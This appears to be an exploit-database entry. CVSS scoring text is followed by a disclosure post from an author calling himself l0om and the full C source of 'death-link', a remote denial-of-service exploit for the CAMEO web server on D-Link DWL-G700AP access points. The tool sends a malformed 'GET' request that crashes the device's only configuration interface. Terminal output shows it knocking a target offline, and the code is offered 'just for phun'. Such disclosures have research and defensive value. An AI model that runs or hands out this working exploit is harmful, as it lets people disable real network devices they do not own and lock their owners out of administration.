The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
author: l0om
page: www.excluded.org
product: D-Link DWL-G700AP
firmware: tested on v2.00 and the latest v2.01
The DWL-G700AP is an accesspoint from D-Link and the only way to configure
it is the http service which is managed from a httpd called "CAMEO". This
webserver is very easy to DoS because all you have to do is send the AP the
following string: "GET nn". I really have been thinking how bad you have
to code to shutdown the whole service with one request which is handeld by
one child process. my guess is that the parent httpd tries to log the request
and runs into a "segmentation fault" while reading the "GET", "POST" or
whatever request with no filename.
PoC exploit follows just for phun and no profit.
best wishes everyone and have phun!
l0om
---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip---8<--snip
l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) open
punt!
l0om@badhost:~/death-link> ./death-link -h
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP
death-link [options] <ip-address>
-o: ONLY CHECK for valid target
-c: check for valid target
-h: help
l0om@badhost:~/death-link> ./death-link -c 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP
checking target... done! valid victim detected
sending DoS... done!
checking webserver status... CAMEO-httpd DEAD
l0om@badhost:~/death-link> netcat 192.168.0.50 80 -v
(UNKNOWN) [192.168.0.50] 80 (http) : Connection refused
l0om@badhost:~/death-link> ./death-link -o 192.168.0.50
death-link - written by l0om
WWW.EXCLUDED.ORG
DoS CAMEO-httpd D-Link DWL-G700AP
checking target... faild! webserver already dead?
---8<--snip---8<-- death-link.c --8<--snip---8<--snip
/*
death-link.c
------------------------
written by l0om
WWW.EXCLUDED.ORG
------------------------
exploit tested on firmware: v2.00 and the latest v2.01
remote DoS exploit for the CAMEO-httpd which is running on the D-Link
Accesspoint DWL-G700AP. After executing this the accesspoint cannot be
configured anymore because the only way to administrate the AP is the
administration with your browser. you have to reboot the box to get the
httpd started again.
have phun!
// some greetings
maximilian, Prof. J. Dealer, Theldens, Commander Jansen, ole, detach,
mattball, molke, murfie, vy99
excluded.org people, IT31 people
// the guys who made exploiting possible with buying this AP
joerres, hermanns, schubert
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define DOSSTRING "GET nn"
#define TARGET "CAMEO-httpd"
#define DESTPORT 80
int alive(char *ip);
int check_httpd(char *ip);
void help(void);
void header(void);
int DoS(char *ip);
int main(int argc, char **argv)
{
int fd, i, check = 0;
char *ip = NULL;
header();
if(argc > 1)
for(i = 1; i < argc; i++)
if(argv[i][0] == '-')
switch(argv[i][1]) {
case 'o':
check = 2;
break;
case 'c':
check = 1;
break;
case 'h':
help();
break;
default:
printf("t>> %s << unknown optionn",argv[i]);
exit(-1);
}
else ip = argv[i];
if(ip == NULL) help();
if(check) {
printf("tchecking target... "); fflush(stdout);
i = check_httpd(ip);
if(i <= 0) {
printf("faild! ");
if(!i) printf("invalid target webservern");
else printf("webserver already dead?n");
exit(-1);
}
else printf("done! valid victim detectedn");
if(check == 2) return 0;
}
printf("tsending DoS... "); fflush(stdout);
if(DoS(ip) <= 0) {
printf("faild!n");
return -1;
} else printf("done!n");
sleep(1);
printf("tchecking webserver status... "); fflush(stdout);
if(!alive(ip)) printf("%s DEADn",TARGET);
else printf("%s on %s is still alive :( n",TARGET,ip);
return 0;
}
int check_httpd(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);
if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return -1;
if(!write(sockfd, "GET / HTTP/1.0nn", 16))
return 0;
else nbytes = read(sockfd, buf, 500);
len = strlen(pattern);
ptr = buf;
while(nbytes--) {
if(*ptr == pattern[i])
i++;
else i = 0;
if(i == len) return 1;
else ptr++;
}
return 0;
}
int alive(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);
if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return 0;
else return 1;
}
int DoS(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);
if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
return 0;
else return(write(sockfd, DOSSTRING, strlen(DOSSTRING)));
}
void help(void)
{
printf("tdeath-link [options] <ip-address>n");
printf("t-o: ONLY CHECK for valid targetn");
printf("t-c: check for valid targetn");
printf("t-h: helpn");
exit(0);
}
void header(void)
{
printf("tdeath-link - written by l0omn");
printf("t WWW.EXCLUDED.ORGn");
printf("tDoS %s D-Link DWL-G700APnn",TARGET);
}
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